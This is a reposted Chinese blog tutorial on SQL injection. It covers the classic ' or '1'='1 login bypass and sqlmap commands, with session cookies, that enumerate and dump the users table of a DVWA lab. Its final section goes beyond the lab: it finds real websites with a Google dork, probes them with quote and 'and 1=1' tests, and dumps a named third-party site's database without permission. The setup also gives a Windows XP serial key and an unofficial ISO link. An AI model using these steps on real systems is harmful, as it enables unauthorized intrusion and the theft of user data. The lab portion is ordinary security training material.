Kali Linux SQL注入攻击教程

1 概述

SQL注入是影响企业运营最具破坏力的漏洞之一,他会泄露保存在应用程序数据库中的敏感信息,包括用户名,口令,地址,电话号码以及信用卡明细等容易被利用的信息。

SQL注入是这样一种漏洞:应用程序在后台想 数据库传递SQL语句查询时,如果为攻击者提供了影响该查询的能力,就会引发SQL注入。SQL注入不只是一种只会影响Web应用程序的漏洞,对于任何从不可信源获取输入的代码来说,如果使用该输入来构造动态SQL语句时,就很可能受到攻击。

目录

2 基本原理

SQL起源于70年代的IBM实验室。SQL被用来让应用程序与数据库之间进行通信。SQL使用如下的4种语言来对数据库进行操作

  • SELECT -从数据库中获得一条记录
  • INSERT-向数据库中插入一条记录
  • DELETE-从数据库中删除一条记录
  • UPDATE-从数据库中更新或者改变当前记录

当用户提交的语句被用作数据库的查询语句时SQL就能够发生。比如当用户被网站认证授权,用户发送一个带有”用户名”和”密码”的信息,用户名/密码就与存放在数据库中的内容进行核对。如果相同的话用户就被允许登录,否则用户登录失败。以下是一个在后台进行登录的例子。

SELECT * FROM user WHERE username='$username' AND password='$password'

这个语句简单地指明了从user的表中查询用户名和username相等的,并且密码和password相等的。所以,如果用户发送用户名为”admin”,并且密码为”12345”,那么SQL语句被创建如下:

SELECT * FROM user WHERE username='admin' AND password ='12345'

那么,如果用户输入’ or ‘1’=’1,第一个引号会终止输入的字符串,剩下的会被当做SQL语句,并且在SQL语句中1=1恒为真,这就能够让我们绕过注册机制。

SELECT * FROM user WHERE username='admin' AND password =''or '1'='1' 

上述是一个SQL注入的简单地例子,然而在实际过程中,SQL注入比这要复杂的多。在我们的渗透测试中,大多数时候我们有一个非常紧凑的计划表,所以这个时候我们需要一个自动化的攻击来为我们进行注入攻击。
SQLMAP就是一能够利用(系统)脆弱性的工具。它是开源的,并经常被用来在Python写的脆弱的DBMS上进行入侵的渗透测试。它能够检测并利用SQL上的漏洞。

3 测试环境搭建

在虚拟环境中运行试用版的操作系统,搭建一个有漏洞的web应用程序,安装Kali LInux,执行渗透测试。所需条件:

  • VMware Workstation
  • Windows XP系统映像
  • Kali Linux虚拟映像

3.1 在VMware Workstation上运行Windows试用版操作系统

一旦我们下载并安装了VMware Workstation,下一步就是下载并安装Windows XP, Vista, Server 2003,因为这些系统有许多著名的安全问题。XP:http://pcriver.com/operating-systems/windows-xp-professional-iso-download/ Serial key: FVMK4-6DD4B-26MB4-74JB2-R4XWM

《Kali Linux SQL注入攻击教程》

3.2 寻找并配置有漏洞的web应用程序

1、现在并安装XAMPP https://www.apachefriends.org/download.html
对于Windows XP,可以在这里
https://sourceforge.net/projects/xampp/files/XAMPP%20Windows/1.8.2/xampp-win32-1.8.2-6-VC9-installer.exe/download

2、一旦安装了XAMPP,到控制面板点击“Start”按钮,开启Apache和MySql服务。
《Kali Linux SQL注入攻击教程》

3、在这里 http://www.dvwa.co.uk/ 下载DVWA应用程序,解压文件到一个新的文件夹中,命名为“dvwa”。
4、打开“C:\xampp\htdocs”文件夹,把该文件夹里的内容移动到另外一个地方。
5、把“dvwa”文件夹拷贝到“C:\xampp\htdocs”目录。
6、在浏览器的地址栏中输入下面的内容并访问: http://127.0.0.1/dvwa/login.php 会显示一个数据库设置页面。
《Kali Linux SQL注入攻击教程》
7、到“C:\xampp\htdocs\dvwa\config”文件夹下,用记事本打开“config.inc”文件。
《Kali Linux SQL注入攻击教程》
8、回到浏览器,然后刷新页面,会显示一个登录页面。
《Kali Linux SQL注入攻击教程》
9、输入默认的登录凭证,比如“admin/password”,登录应用程序。
《Kali Linux SQL注入攻击教程》
我们成功配置了一个web服务器并在其上安装了一个应用程序,现在我们通过Kali Linux或者BackTrack访问应用程序,访问http://ip-address-of-windows-xp-machine/dvwa/login.php,就可以开始攻击练习了。为方便演示,我们点击DVWA Security将安全等级设为low。
《Kali Linux SQL注入攻击教程》

3.3 下载和安装Kali Linux

4 攻击实例

4.1 使用sqlmap注入DVWA的SQL Injection菜单

(1) 获取cookie信息
使用admin/password登陆系统,通过火狐浏览器Tamper Data 获取数据。
《Kali Linux SQL注入攻击教程》
(2) 获取要测试的url
点击SQL Injection菜单,在User ID输入框内输入1,点击submit按钮。,获取待测试的url如下:http://192.168.169.129/dvwa/vulnerabilities/sqli/?id=&Submit=Submit#
(3) 使用sqlmap测试该url是否存在sql注入漏洞

root@kali:~# sqlmap -u "http://192.168.169.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=pu63p86c54jurn59bms72637h5"

《Kali Linux SQL注入攻击教程》

《Kali Linux SQL注入攻击教程》
(4) 探测MYSQL中用来存放应用数据的数据库名称

root@kali:~# sqlmap -u "http://192.168.169.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=pu63p86c54jurn59bms72637h5" --dbs

《Kali Linux SQL注入攻击教程》

(5) 查询出dvwa数据库中存在的表名

root@kali:~# sqlmap -u "http://192.168.169.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=pu63p86c54jurn59bms72637h5" -D dvwa --tables

《Kali Linux SQL注入攻击教程》
(6) 得到users表中的字段列表

root@kali:~# sqlmap -u "http://192.168.169.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=pu63p86c54jurn59bms72637h5" -D dvwa --table -T users --columns

《Kali Linux SQL注入攻击教程》
(7) 导出users表

root@kali:~# sqlmap -u "http://192.168.169.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=pu63p86c54jurn59bms72637h5" -D dvwa --table -T users --columns --dump

《Kali Linux SQL注入攻击教程》

4.2 使用sqlmap注入外部网站

(1) 寻找目标网站
输入google,或baidu查询语句:inurl:”news.php?id=” 。可以加上一些后缀来限定那个国家的。
《Kali Linux SQL注入攻击教程》
(2) 我们从中选择一个网站
《Kali Linux SQL注入攻击教程》
(3) 检测他是否具有漏洞
方法1:在最后加上单引号 ’。
《Kali Linux SQL注入攻击教程》
方法2:在最后加上 and 1=1 注意and前和1前的空格。和and 1=2进行对比
《Kali Linux SQL注入攻击教程》
《Kali Linux SQL注入攻击教程》
如果没有报错但也面发生了变化则有sql 注入漏洞。
(4) 进行注入
步骤同之前的,可以不要cookie
获取数据库版本
《Kali Linux SQL注入攻击教程》
获取有哪些库
《Kali Linux SQL注入攻击教程》
选择newrockpigment_web_maker_com_tw
《Kali Linux SQL注入攻击教程》
选择user
《Kali Linux SQL注入攻击教程》
进行暴库
《Kali Linux SQL注入攻击教程》

本教程仅供学习使用,切勿违法乱纪

    原文作者:AsNeverBefore
    原文地址: https://blog.csdn.net/AsNeverBefore/article/details/75208138
    本文转自网络文章,转载此文章仅为分享知识,如有侵权,请联系博主进行删除。
点赞